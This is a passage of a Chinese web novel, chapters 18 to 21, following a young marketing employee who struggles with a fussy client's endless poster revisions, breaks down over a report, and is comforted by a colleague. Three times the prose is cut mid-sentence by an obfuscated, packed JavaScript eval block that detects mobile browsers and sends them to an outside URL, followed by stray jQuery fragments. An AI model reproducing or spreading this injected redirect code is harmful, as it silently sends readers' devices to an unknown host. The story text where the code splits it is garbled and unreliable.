小区里静悄悄的,只有细碎的风声和晃动的树影。苦涩从胸腔里逸出,一点点扩散开来在脚下铺满。
还有一整个周末要挨。
然而,时间才不会管我是疲惫、绝望还是兴奋,它只是按自己的节奏,一秒接一秒,六十秒之后分针跨过一格;一分接一分,六十分后时针再跨过一格……循环往复,从夜幕到白昼,仿佛只是它自己的追逐游戏。
18. 第 18 章
我再一次站在客户那闪着万千星辉的现场,聆听她关于上一稿海报的修改意见,耳朵里充斥着她的各种不满。
住处的窗外有一棵树,天气越来越热,书上的蝉鸣声就没断过,呱噪得很,经常吵到半夜才安静下来。但此时此刻,我宁愿回去听它们叫。
Jessie的声音并不高亢,跟Vivian相反,她的声音轻柔。可她说话速度快频率高,像有一只嗡嗡叫的蚊子在耳朵边,撵也撵不走,打又打不着。
我在心里重重地叹了口气,思忖身体上为什么没有关闭听觉的开关,只要按下去,整个世界就一片清净,那该有多好。我的脑子里出现了初中时背诵过的《木兰辞》——“唧唧复唧唧……唧唧复唧唧……”
既然不能逃离,那就只能放空。我盯着她的嘴巴,分析每一组从她嘴里逃逸出来的词语。
大概WH挑选员工也有一套不成文但约定俗成的规定,Jessie和Vivian五官没有任何形似的地方,可莫名的她们让我感觉相像。
Jessie表现得温文尔雅,她的不满却醒目且张扬。她下面那个叫Jane的姑娘充当背景,一声不吭,只是听着,既不附和,也不反对,好像她没有自己的想法。
Jessie嘴巴不断翕动着,吐出一连串字符,“就是那种很高级很梦幻的紫色,你懂吧?”
“您能描绘地更具体一点吗?紫罗兰的紫,薰衣草紫、三色堇紫还是更浅一些的紫?”
“怎么跟你说呢?就那种梦幻的、朦胧的,很有意境的紫色,浅浅的跟梦一样的颜色,你发挥一下想象力。”
我觉得自己的脑子快要炸开了,我知道朦胧,也知道梦幻,可能还能理解浪漫,但这些跟颜色有什么关系?
回头望了一眼觅觅,她低着头,互戳的手指暴露了她的不耐烦——这个海报已经改了十几版了。
“如果您能提供色号和色值,那将对我们的工作有极大的帮助。” 觅觅的声音冷冰冰的,我知道她对客户不专业的忍耐快要到达极限了。
“我要知道是哪一种紫色,还需要你们干什么?”这个叫Jessie的女人翻了个白眼,“你们按照我说的改,梦幻朦胧的感觉,还不够清楚吗?”
当她踩着大概12公分的高跟鞋,扭着不算纤细的腰转过去背对我们的时候,我清晰地看见觅觅抬起头翻了个大白眼,比了个嘴型:傻逼。
“我跟你们说哦,这次的插画也不够有创意。场景太单一了,需要更丰富一些。”
“我们计划做一整个系列,类似于编年史,呈现WH婚纱设计理念的发展史。”
她不置可否,“做出来看看吧。”
会议就这样戛然而止,Jessie对着她的笔记本电脑敲打键盘,示意我们今天就到这里了。
我和觅觅对视了一眼,麻利地收拾东西退出会议室。离开的时候,Jane冲我们歉意地笑了笑。
走到电梯间才发现,我把自来水笔落在了刚刚的会议室,只能折返回去找。
我让觅觅在电梯间等我,她说一个人在电梯口不自在,陪我一起去找。
刚走到会议室门口就听见Jessie的声音,奇怪的是,一点都不轻柔。
“真不知道公司怎么会找他们做营销策划,一点Sense都没有。难怪Vivian把这个案子推给我。要是什么都要我想,请他们干嘛?”
Jane不卑不亢地回了一句,“最后那个创意,从宣传口径来说还不错。但可能对业绩增长没什么帮助。”
“业绩增长交给销售部就好了,关我们什么事儿。市场部负责的是品牌形象。”
觅觅又翻了个白眼。
最后,我以丢了一支自来水笔的代价离开了WH金光灿灿的大楼。
这次的会面看上去十分高效,一小时不到就结束了,但超过一半的时间,我们都围绕着没有结果的“什么样的紫色”在转圈,没有实质进展。这让我和觅觅都十分疲乏。觅觅说她觉得自己仿佛在从事幼师职业,面对的是一个两岁说不清自己要什么的小女孩。
下午回到公司,我已经快累瘫了。
跟这个Jessie比起来,那个Vivian都显得可爱了不少。至少她不会告诉我,动用你的想象力,营造出一个她描述不出来的能用梦幻浪漫感觉来表达的紫色。
我刚在椅子上瘫下来,孟猛滑到了我身边。
“哎,冉冉,今天是新来的Jessie跟你对接?”
我歪着头想了一下看到的工卡,“对,叫Jessie Gu,中文名叫顾思琦。”
孟猛的眼睛瞪得溜圆,“怎么是那个奇葩?那次要不是萌萌拉住我,我就跟她吵起来了。”
“你认识?”
“她原先是在MF集团,前两年我有个项目跟她对接。她对供应商……挺苛刻的。”
觅觅敲打键盘的声音,抑扬顿挫,我能从她那愤慨的敲打声中听出,她正在改那个虚无缥缈飞在空中的紫色。
与此同时,萌萌向我们播报了从她的“线人”那拿到的新消息。
“这个Jessie Gu号称比价王,供应商们都不怎么喜欢她。”
“怎么说?”
“也没什么,不过就是想用十八线网红的价钱请一线明星代言。”萌萌翻了个白眼,“见过追求性价比的,没见过往死里追求性价比的。”
“这不是为难人吗?”小妍在旁边嘀咕。
“她有张良计,当然就有过桥梯。那哥们找了个跟一线明星有点像的小网红,跟她说一线明星的表妹。”
“她能接受?”
如果她这么好说话,我们就不会一张主视觉海报改十几次还没过稿了。
萌萌差点没笑岔气,“当然不能。那哥们跟她说,她那个预算能请到表妹已经是动用了人脉。如果不满意的话,还有些小明星可以挑一挑。”
“最后结果呢?”
“Jessie冲他发了很大一顿脾气,最后定了一个曾在大明星MV里出过镜的小明星。那哥们说,这种客户不能惯着。且别小看这些新人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672122|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,没准一部戏火了,价格就翻好几倍呢。”
觅觅依旧一副她想刀人的表情,“她要高级梦幻朦胧有意境像梦一样的紫色,谁能告诉我,这一堆的形容词到底对应着紫色的哪个色号?
“这还不简单,你就找那些名画家的画作,比如印象派的那些,朦胧啦、浪漫啦,氛围感给她拉得足足的。《日出·印象》里是不是有紫色?她要是质疑咱们的作品水准,让她找莫奈去。”
孟猛朝萌萌竖起大拇指,“还得靠萌姐整顿职场。”
我有一种深深的无力感,Jessie大概不会因为莫奈就买单。觅觅沉默着打开了网站,按图索骥,在各种名画当中寻求灵感。穷途末路的我们!
觅觅把新的梦幻浪漫紫的样例发在小组微信群里,获得了一致赞赏。我只想感叹,借鉴伟大的艺术家竟然就能产出这么出色的成果,设计这活儿也确实需要天分,换了我,就算是看一万遍,顶多也就能憋出一句“这画挺好看的”。
在发给Jessie之前,我们自己又挑了一些微不足道的小毛病。现阶段的修改是没必要的,尽管我们觉得改改会更好,但谁知道客户是怎么的想呢?
Jessie这次倒没有像上次那样,一上来就挑剔主色调(明明是她自己给的主视觉参考,其实那个颜色在我看来,更像是低饱和度的蓝灰色)。她一直强调,尽管说不上来哪里不对,但跟她想象中的紫色还是有些许出入的。
我真想冲着她怒吼,我们又不能敲开你脑袋看看里面到底装的是什么,谁能知道你要的紫色会不会是别人眼中的蓝色呢?!
耐着性子,在电话里跟她鼓吹了一通,我们这个紫色是借鉴了哪些经典名画中的紫色元素。塞尚、莫奈、马奈、高更这些印象派的名家都被我拉出来做背书,也不管他们的作品里有没有紫色。反正印象派不是画静物就是画自然,主张在自然光下捕捉瞬息多变的自然,以瞬间印象作为创作灵感,我就不信,这里面没有紫色。
她半天没吭声,似乎动摇了。就在我以为她已经被我说服的时候,电话里传出一句“还是再改改吧。”
我真想顺着电话线,把话筒扔她脸上。
本以为这就是今日份最坏消息,峰回路转——可惜转的方向是急转直下,通向了死胡同。
都快下班了,Jane打来了电话,让我们那个版本的设计先不要改了。
不知道是什么令挑剔的Jessie改变了主意。我刚转头跟觅觅说不用再改,我们全都呼出了一口气,就被接下来的消息轰炸得体无完肤。
Jane显然听见了我们这边的动静,她犹豫了一会儿说:“是这样的,这个提案被老大毙掉了。”
晴天霹雳也不过如此了吧?!
我望向觅觅,她还沉浸在过稿不用再改的欢快当中,我实在不忍心告诉她真相。
“所以?”
“我们大概要重头开始了。不过好消息是,等我们的方向定了再重新开始,不用做无用功。”
我都不知道,这算哪门子好消息。
19. 第 19 章
周明凯把我和孟猛单独叫进了会议室。
“明天穿得正式点,WH公司约了他们的咨询公司,从战略发展层面来看产品结构和销售策略。Mark让我们一起与会,方便后续配合他们整体营销口径。”
我正疑惑Mark是谁,孟猛就在旁边人肉标注,“Mark作为营销部老大,操心的事儿还真不少。”
周明凯看了他一眼,“你以为领导这么好当?”
孟猛“嘿嘿”了两声,摸了摸自己的后脑勺,“反正我不当领导,就看好自己的一亩三分田。”
周明凯撸起袖子,盯着孟猛,一副恨铁不成钢的样子,“有机会还是得争取……”
他转向我,“工作适应得怎么样?”
我无精打采地向他汇报了提案作废要重新开始,他颔首,“这是客户方调整导致的,跟我们团队能力关系不大,不用太在意。我们先过一下这次咨询会参加的部门,后续我们可能会有机会跟其他部门接触合作。”
他扔过来一叠资料,让我们下班前看完,然后整理写个简短的Report。
感觉自己一下子回到了复习备考的状态。离下班还有两个多小时,像板砖一样厚的一叠资料,我预估自己是不可能在规定时间看完的。自从到总部工作后,就再也没有如此充实的工作强度了,做好准备加班加点。幸好我还有“童子功”傍身。此时,我对台湾公司两年的苦力生涯甚至有了一丝感激。
台湾老板把资本主义的要义发挥得淋漓尽致,我名义上是总经理助理,实际还兼着公司所有的琐事和行政工作,甚至还要处理她的私人事务。我替她去医院拿过药、买过猫粮、找过开锁匠、接过小孩……最离谱的一次是帮她去给小孩开家长会,因为她做了玻尿酸填充过敏,脸上鼓包红肿,不能去学校。
那些事情,只是繁琐且无聊,跟挑战性没有一分钱关系,更别提成长性了。
我看孟猛气定神闲一目十行,很快看完了。他已经开始写report了,似乎对这种任务游刃有余。我望着那厚厚的一叠资料无从下手。我要从这些资料里获取些什么信息,有什么要点需要记忆吗?咨询公司会对我们现场提问吗?
一大堆问题来回轰炸,在我的脑子里缠成一团麻,一行行字从纸上挣脱,随意地在空中游走,一会儿排成一行,一会儿排成个之字……总之,就是没能组成有效信息进入我的脑子。
望着空气放空,那些字一个个从我眼前飘过去,像是一颗颗黑色的蝌蚪。
孟猛探过身子来问:“冉冉,你搞得怎么样了?”
我茫然地望向他,摇摇头。可我也不能说,你写好的报告能借我看看吗?这就跟考试之前白嫖人家自己总结的考试重点一样。
“不用那么仔细读。明天我们的重点是听,也不用我们发表任何意见……”
他大概误会了,以为我是要精益求精。
很快到了下班时间,同事们作鸟兽散。那么厚的一大叠,我才看了几页。
逼着自己忽略同事们的欢乐,继续埋头阅读那一大堆材料。我才发现,这是一份隐去了标题的咨询报告书,摘要部分介绍了咨询任务情况,咨询目的、流程和结论。最重头的部分是分析报告和方案建议。
我浪费两个多小时看的是最无关紧要的部分,循着目录往后翻到分析报告部分:密密麻麻的文字,穿插在其中的数据,还有各种图表。焦虑倏忽间攫住了我,我觉得自己呼吸急促,耳朵里充斥着轰鸣声,胸口有块巨石压得我喘不过气来。
接下来呢?我会不会眼前一黑,直接晕过去。甚至生出些期待,如果因此进了医院,就不用再写简报了。
等待着焦虑压倒我,但是,什么都没有发生。除了难受之外,只有面前那一堆资料。它们好像都在嘲笑我,连它们都搞不定。
在极度无助的情况下,我终于忍不住哭了起来。
漆黑一片的办公室静悄悄的,我的抽泣声震耳欲聋。大剂量的痛苦在我身后发动攻击,慌乱的情绪像是雾一样在空气中氤氲弥漫,最终将我包裹在其中。
我不想在回家的路上哭得稀里哗啦的。陌生人会装作不经意地看一眼,然后揣测我的人生是怎样的不顺遂。他们并不关心别人有多么不幸,只是庆幸并不是只有自己的人生不如意。
为什么只有我这么倒霉?失恋已经够悲惨了,还要应付完全不擅长的工作,日常被甲方刁难,连这么个咨询报告都欺负我。
隐约传来两声咳嗽声,我屏住呼吸,办公室里还有人!慌忙抹了抹了眼泪,装作认真加班的样子,若无其事盯着电脑。
随着脚步声渐渐走远了,我正准备吐出憋着的那口气,突然,前后两排的日光灯唰得亮了起来,我怔住了。
萌萌噔噔噔跑到我面前,“怎么不开灯呢?不用给公司省钱。把眼睛看坏了公司可不报销医药费。”
她好像没看出我的异常,瘫坐在自己的位置上,大声叹了口气。然后自顾自叽叽喳喳开始分享这一天的倒霉事儿:讨厌的下雨天把她的裙子打湿了;现在的KOL和KOC越来越爱摆谱了;如果下次再有彩妆的活动,她绝对不会再推荐那个叫“粉色小星星”的网红,专业度不怎么样架子倒不小,定好的过稿日不是失联就是在医院;现在的甲方爸爸远不如以前和蔼可亲,一个个都涨了辈分,成了爷……
在她的絮絮叨叨当中,我没有那么难受了。焦虑不安委屈这些刚刚还要将我压倒的情绪悄悄后撤——原来每一个人都有那么多糟心事儿,大家的工作也不像我看到的那样驾轻就熟,都会碰到很多让人不痛快的小破事儿。
再到后来,我更觉得惊奇。瞠目结舌地看着她扔出一个又一个的话题,特别像排球练习时负责发球的那个同学,一个又一个的球从网对面弹射过来,刚接完一个,下一个就砸到面前了,密集得很,完全接不住。
我看着她嘴巴快速地张开闭合,仿佛电视剧开了二倍速,根本插不进话。
最后,她像是说累了,终于停下了。
喘了一口气之后问我怎么还没回去,要不要一起去吃晚饭,路口有家牛肉粉很好吃,就是份量太大。我委婉地表示,我还有一堆资料要看……
她把我的资料一翻,“吃完饭再看吧,饿出胃病公司也不负责哦。”
什么嘛,明明有补充医疗保险。
我都不知道自己在想些什么,但心情轻快了起来。
再次拒绝她一起吃晚饭的邀请,她才走回工位,拎出一把太阳伞向外走去。
走到门口,她停住了,转过身问我“真的不去吗”,我冲她摇了摇头,她耸了耸肩,“那下次吧。”
我不置可否。老实说,我对这种来自同事的关心谈不上畏惧,但实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672123|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在是陌生。
等我从厕所回来的时候,桌子上放着一盒夹心饼干,柠檬味的,旁边放了一瓶青柠味苏打水。一张便利贴上龙飞凤舞地写着,“预约下次晚餐,祝开心。”
我默默低头,一手按住自己发酸的鼻头,伸手拿过苏打水紧紧握住。
其实,她应该是看出什么了吧?我抽了下鼻子,大山一样的压力悄悄卸去了一角。换个地方,我是不是还能碰到这么热心的同事,还真不好说。
手机上还有一条微信,是孟猛发来的,“友情建议,跳过分析报告部分直接看解决方案和总结建议,前言部分了解下背景,这样会快很多。”
我差点感动哭了,这就好比去卫生间上完厕所发现没纸了,旁边有人给你递过来一整卷。
拆开饼干叼了一块,按照孟猛说的一顿猛翻,果然效率翻番。甚至这个过程都变得没那么乏味,像极了以前初中时趁爸妈不在家吃零食看漫画书。
我写好简报,邮件发给周明凯,揉揉手腕,按了按发酸的肩膀,有一种久违的情绪涌上心头。如果以前有人跟我说,工作也能带来满足感,让我的多巴胺疯狂分泌,我绝对会翻个白眼给他,觉得是新型PUA方式。但这一刻,这个叫成就感的小怪物在我的脑海里又蹦又跳,迅速让快乐占据了情绪制高点。
突然听见有人刷门禁。这么晚了,又会是谁呢?
抬头一看,还是萌萌。她拎着一个打包袋,朝我晃了晃,“给你打包了一份,看办公室灯还亮着,就上来了。”
她的伞已经湿了,看来外面还在下雨。她自顾自打开包装袋,食物的香味一下子向我冲过来。原本还没觉得饿,可在空气中氤氲着的肉味,引得食指大动。
应该就是她前面提议的那家牛肉粉,汤白浓郁,上面撒着小葱花,均匀地铺着一层嫩牛肉,我忍不住吞了下口水——工作搞定了,胃口就回来了。
没再客气,接过筷子埋头就吃,味道真是鲜美,份量也确实很大。只吃了一半我就饱了。
我擦擦嘴,“多少钱,我转给你。”
“请你吃。”
“不用了吧……”我指一指桌上的饮料和饼干,“你已经请过我了。”
“下次你请我呗。外面雨挺大的,你住哪儿,我开了车,送你吧。”
原本想拒绝,一个响雷突然在夜空里炸开,闪电接着从右至左像一道巨剑划过,把已经黑透了的天空劈得亮如白昼,刚刚还没听见声响的雨像黄豆一样砸在窗户玻璃上,发出劈里啪啦的声响。
最终,我还是蹭了萌萌的车回家。她的车是一辆勃艮第红色Mini Copper,车如其人,娇俏可爱。
进小区的时候,雨下得更大了,我家那栋楼的位置靠里,不太好调头,她问我有没有其他门可以出去,我表示不知道。她说找个空旷一点的地儿调头再原路返回正门出去,把伞给了我。
“那你下车了怎么办?”
“到家直接地库上去,淋不着。你赶紧回去吧。”
托萌萌的福,我一点都没淋湿。
我站在门口等着,十分钟后,她驾车再次出现,冲我挥了挥手,示意我赶紧进屋,然后扬长而去。
雨夜里昏黄的灯光下,红是唯一的色彩。
回到屋里,我给自己泡了一杯红糖姜茶,一口喝下去,胃瞬间熨帖。真温暖啊……
20. 第 20 章
我想起第一次见到萌萌时的情景。
第一天上班,我看了两三遍文件之后就不知道自己该干什么了。在工位上枯坐了一个多小时,然后,我又溜去了茶水间。
上次来倒水喝的时候,我发现有个小角落,不走到最里面没人能发现;从那里能看到一片小花园,风景很不错,简直是放空圣地。
没想到,有人已经在那里了。台面上是一只橙色的马克杯,一个扎着高马尾,穿着时尚气质恬静的女生,安静地靠在窗沿上,挡住了去小角落的通道。
她捧着一杯咖啡,聚精会神闻着咖啡香气,宜室宜家,岁月静好,让你有一种把她娶回家的冲动。我甚至忍不住幻想,在原木小屋里煮上浓厚香醇的冻顶乌龙茶,和她柔声细语地交谈,将是多么惬意的一件事。
但她一开口,立马打破了我对她的所有幻想。
“妞儿,混什么部门的?脸生的很呀,回头把资料更新给我呗,年龄,身高,三围,性取向……”
要不是因为在办公室,我就要尖叫出声了。毕竟现在,性别是能一目了然,性取向可不能一眼看出来。
正当我犹豫是赶紧逃离还是冲过去骂她一顿再逃跑时,孟猛不知道从哪里窜了出来。他一个箭步越过我,拽住这个貌似温婉的豪放女,一个劲把她往外拉,“又犯毛病了,被老大听见,你又得挨骂。”
转身跟我说:“冉冉,你别理她。她是萌萌,我们组的资料库。”
我的大脑宕机了,她是微信群里那个粉发小女孩?!此刻,对她的第一印象分裂成了三个人:微信群里的元气美少女,外表娴静温婉时尚的美人,性格豪放潇洒的怪胎。
如果说前两个形象是她的人设,那么现在她正在经历人生最大程度的塌房:既跟元气美少女没关系,也跟温婉贤淑不沾边。吕萌,活脱脱一个豪放女!
“怕什么,下次我把徐渊澈带去DK,你看老大是夸我还是骂我。”她大大咧咧地拍开孟猛的手,发出极响的一声,孟猛呼了一声痛之后被她甩在了身后。
她凑到我面前,眼睛亮了一下,“你就是新来的冉然啊,难怪小妍跟我说来个了大美女……早上我不在公司,你还没通过我的微信好友呢。”
孟猛瞪大了他本来就大的眼睛,“搞定了?嘿,不愧是萌姐,DK市场部那老头子可馋他很久了……”
黑话与狠活齐飞,这活色生香的现场,让我有一种自己不是来上班,而是来观赏人类暗箱操作与潜规则执行的迷幻感。
孟猛一脸惊喜还没褪去,又是一声响亮的拍打声,“会不会说话,都吓坏新同事了!”
我猜我的表情应该很僵硬,孟猛用一副见了鬼的表情解释:“那个……萌萌刚搞定了一个品牌想要的KOL……正常工作,没有潜规则……你别多想。”
不多想才怪!
后来,我才知道,萌萌负责对接明星网红资源,她的微信里充斥着各种花样美男,请注意,是活生生的网红和明星。不仅仅如此,她手里还有各种不知道从哪里挖出来的优质男青年,包括但不限于高校老师、外企小中层、金融界精英、程序员大佬……这些圈层没有任何重合点,这是让我觉得最匪夷所思的地方。
而且她有一个非常大妈的爱好,组CP拉郎配。
所以各种单身或者失足,哦,不是,失恋失婚的女青年就成了她最关注的目标,她管这个叫资源优化配对,实现减值资产重组,从而实现资源配置的帕累托最优。
在她的古道热肠之下,小妍和觅觅已经轮番见过好几波不同圈层的优秀男青年。至于为什么到现在为止,我们部门还没有人脱单,这是一个未解之谜。更让我费解的是,每次组局,孟猛都会跟着去凑热闹,也不知道他醉翁之意到底在谁。
要说孟猛是gay的话,我打死是不信的。毕竟他的直男属性,能为《钢铁是怎样炼成的》提供素材。
当萌萌凑到我身边问:“冉冉,有没有兴趣组个局见个把优质男青年”的时候,小妍和觅觅齐齐翻了个白眼,一个疯狂向我使眼色示意我拒绝,另一个拖住萌萌让她不要祸害同僚,场面显得混乱且诡异。
“这次不一样,这次是个新晋颜值网红,长得很周正,没有不良癖好。”
“颜值网红还需要相亲?我不信!”小妍和觅觅整齐划一地反驳。
然后,她们就开始细数萌萌曾经组过的那些相亲局。
第一次来的大部分是美妆博主,那些男生画的妆比女生还精致,美是美的,然而没有灵魂,全是绣花枕头。第一眼看过去赏心悦目,一个个眉眼精致,可一开口不是批评女生的皮肤,就是吐槽别人的妆画得不行,搞得现场心情很差。小妍说,有个美妆博主,她看过他的换头视频,基本上堪比大卫·科波菲尔的大变活人。萌萌倒不否认某些网红确实除了脸没有什么深度和文化,可她认为美妆博主是吃技术饭的,也不是嘴巴毒,只是有些职业病在身上。
第二次组的局基本上是知识型KOL。结果来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672124|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一帮子动不动掉书袋,恨不得抱着哲学和心理学过日子的学究们。当时派对分成了两个阵营,一边是哲学迷,扎堆聊罗素、黑格尔、泰勒斯、康德和巴门尼德,还有个是尼采的拥趸,她们都怕他是个疯子;另一边是天体学和历史学爱好者,一直在聊小行星运行轨道和考古发现之类的。觅觅虽然主修艺术,但她辅修了心理学,对哲学也有涉猎。可她发现,她压根融入不进去,但凡她说出自己的一些见解,就有好几个男的抨击和挑衅;小妍就更别说了,她是社会人文学毕业的,但没人关心。女性被排除在学术之外。总之,这一群男的,也很是让人吃不消。
最后一次是一批金融精英,看上去人模狗样,还没接触之前倒是很有光环,接触之后只觉得恶臭。大概金钱让人膨胀,这些日进斗金的男士们优越感爆棚,精英男们狂妄自大就算了,还有好几个大概率是海王,一上来就问觅觅要电话要微信,还有问小妍约不约的。这一次的联谊让人大倒胃口,尽管有两三个斯文败类仪表堂堂,但她俩还是迅速地逃离了。
再后来……
哦,没有后来了。觅觅和小妍都拒绝再参加任何萌萌的精英人脉局。她们纷纷觉得,萌萌的人脉圈应该改为“谪仙人”,只可远观不可亵玩:他们也适合存在于萌萌的档案库、资料库、报价单或者朋友圈里。她俩一致认定,精英也是一种人设,那一群所谓的精英人士里都没正常人。小妍最后总结了一句,还没有孟猛正常呢。
被点名的那位啼笑皆非,也不知那算不算是夸奖。
萌萌承认确实有一部分不太靠谱,可她手里还有很多其他优质资源,“你们不能因为一时的失败,就放弃所有的可能性。”
觅觅表示,如果有那么多优质可选项,T市乃至全国就不会一堆单身女性了。
孟猛提出了反对意见,认为不能因为样本量过小的三次聚会就一棒子打死优质男性群体。
……
我都在想什么乱七八糟的。
手机“嘀”的响了一声,我放下瓷杯,微信弹出萌萌的信息,“我到家了,早点休息。”
我想,萌萌性转版,应该非常受女性欢迎。
外面的雨水不知疲倦地冲刷着世界,窗户外的树枝,像是惊慌失措地要抓住些什么似的,在空中拼命晃动。
我拉开窗帘,静静地看着外面渐下渐大的雨,靠在窗框上发呆,直到眼睛酸涩,困意袭来。
难得的,我沉沉地陷入了睡梦当中,梦里艳阳高照。
21. 第 21 章
尽管这几天晚上睡得还行,可今早在去公司的路上,我的右眼一直跳,搅得我心神不灵。
WH集团像是一个随意且淡定的帝王,而我则像等待翻牌的妃嫔,不被传唤的时候忧心,被传唤的时候小心翼翼。
用什么样的姿态去对接客户,我仍在摸索当中,离游刃有余差之千里。更别提担任主对接人,我一直心有戚戚,听说是Vivian向她老板建议由我主导这个项目。这让我百思不得其解。
茶水间是除厕所之外的第二安全着陆点,救社畜于无心工作的水火之中。
希望今天Jessie不要找我。
我刚刚坐下来,还没来得及喝口水,电话响了。
看到来电人,我心里咯噔一下。果然背后不能念叨人,刚想到她,她的电话就追来了。
“我有个新的想法。”
我在心里哀嚎:“这都第几个新想法了。”
孟猛摸着鼻子,偏头侧着耳朵听我跟她沟通,并时时同步到我们内部小群当中。
——Jessie小姐说她有个新想法。
——不怕客户没想法,就怕客户有新想法。
——她干脆改名叫“创意小姐”算了。
我还是努力挤出了笑容。当我意识到她压根看不见的时候,火速垂下了嘴角,“麻烦您说说看。”
“我觉得吧,海报太不生动了,我们干脆拍一段短片。”
“宣传片好是好,但我们目前……”
“你下周一来我们公司一趟,最好带着创意来。我具体看下这个怎么执行。”
还没等我拒绝,她已经挂断了电话。
“那个奇葩又说什么了?”觅觅抬头问。
瞄了一眼电脑屏幕,看来打字的速度没跟上说话的速度。
我有气无力地回她,连眼皮都抬不动了,“她说要改做短片……”
“她有病吧?就那么点预算,能拍两帧就不错了。”
觅觅翻了个白眼,“那前面的海报都白做了?”
在一片愁云惨雾当中,迎来了今天讨论的最精彩处。
孟猛凑到我身边,“冉冉,我跟你说啊,不加钱什么都不能答应。”
小妍在旁边拼命点头。
我彻底颓废了,开口问人要钱,这活儿我可从来没干过。就算是肖平,也是他每个月发了工资主动打一笔给我。
“她还说,让下周一带着创意去。”我补了一句,然后所有人就像突然进入了核反应堆一样,静默无声,没有反应,生怕随便一个声响就引爆了。
过了大概半分钟,孟猛还是炸了,“这加钱都还没影的事儿,就想着要白嫖创意了?怎么的?还得找个拍电影的大导演给她出个demo吗?”
觅觅往后缩了缩,“别看我,我就一画画的,什么脚本分镜头的也不是我强项。”
我彻底绝望了,“那下周一该怎么办?”
“拒绝她。告诉她预算不够拍Video。活儿咱们能干,只要钱给到位。”
孟猛扔下这么一句之后就去开会了,剩下我自己思考到底该怎么应对。直接拒绝,Jessie会投诉吧?委婉拒绝该如何措词?
躲到卫生间,打开招聘软件,刷了刷招聘网站,依然没有面试邀约。叹了口气,回工位继续惆怅。
就在我一筹莫展的时候,萌萌来了。
“你们想的是不是有点多?”她一副大大咧咧不在乎的表情,“对付这种甲方嘛,我教你一招,一个字搞定。”
见我一脸不解盯着她,她眨巴眨巴眼睛,“哄呀。”
“告诉她,我们可以拍出泰塔尼克号那种水准的短片,问他们想找哪个明星。他们不是主打钻石、婚纱这些玩意儿嘛,那就搞个经典爱情剧本。”
“啊?”我懵了,“我上哪儿找能拍那种短片的资源?”
“你傻呀。”萌萌戳了下我的脑门,“接着你就可以说,如果找一线明星一流团队得花多少钱,找十八线小透明KOL普通团队多少钱……他们要是出不起钱就会打消这念头了。”
“那万一他们出得了那么多钱呢?”
萌萌笑了,“那就恭喜你,拿了个大单子。执行层面找老大要资源,演员那趴我给你搞定。”
新的问题又来了,拍个短片顶配要多少钱,继续两眼一抹黑。
折腾了一天之后,我已经精疲力竭。别说抱怨,我连一个字都不想说。瘫在工位上,一动不动。
“下班了,你不走?”孟猛从工位上探出头,一副翻身农奴把歌唱的欢欣。
我有气无力地以非常小的幅度摇了摇头。
“那……拜拜。”
“拜。”
照道理说,累了一天都想快点回家,洗个澡,美美睡上一觉。但我现在绵软无力,连指头都不想抬。晚高峰的地铁上人挤人,而我像一根煮软的面条,经不起任何的推搡挤压。
外面的风吹得呼啦啦的,这个时节的傍晚是我最钟意的,空气里带着温柔凉爽的气息,再过两个月,就只会裹挟着热浪扑头盖脸地冲过来。
我朝窗外望去,看见宫殿的琉璃瓦和屋檐。
T市其实也是有历史底蕴的城市,只不过时间更迭,从繁华的盛世都城走到了如今略有些尴尬的三线城市,从云端跌落后再也无法跻身一线。我不知道T市人心里有没有落差,如果换做是我,应该是心有不甘的。
说起来,对于这座城市,其实我在学生时代还产生过向往,它甚至出现在毕业旅行的目标城市里。只是因为肖平找到了工作提前去单位实习,最终并没有成行。渐渐的,我也在S市的繁华里把它遗忘了。
天色越来越暗,我关掉电脑,撑起倦怠的□□,开始向外挪动。
主街两旁高大粗壮的树仿佛两列士兵,迎面走来的是吃过了饭出来散步的人。这座城市处处都显得宁静安逸不急不躁。
去地铁站要穿过一条小马路,路两边各有几家小院,茂盛的槐树向外伸展枝桠,从虚掩着的门看过去,一个老头儿坐在槐树下的摇椅上,摇椅发出沉稳有节奏的吱吱呀呀声。马路边的大槐树下也有人坐在竹椅上纳凉,让我想起在家乡小镇度过的时光。
新和旧在这座城市里怡然自得地融合在一起。
S市的晚高峰至少会持续到七点半,就算是九点,地铁上也还是有不少人。而T市晚高峰只有一个小时,从五点半到六点半。晚高峰过去后地铁上不再拥挤,甚至还能有位置。
跳了一整天的右眼终于消停了,我愣愣地望着大片的黑暗和一闪而过的光亮在地铁窗户上爬行,缓缓呼出一口气。
……
我趴在床上,盯着八音盒发呆。
中间的小人翘着她纤细的腿,一圈又一圈地在光滑的镜面上滑行。
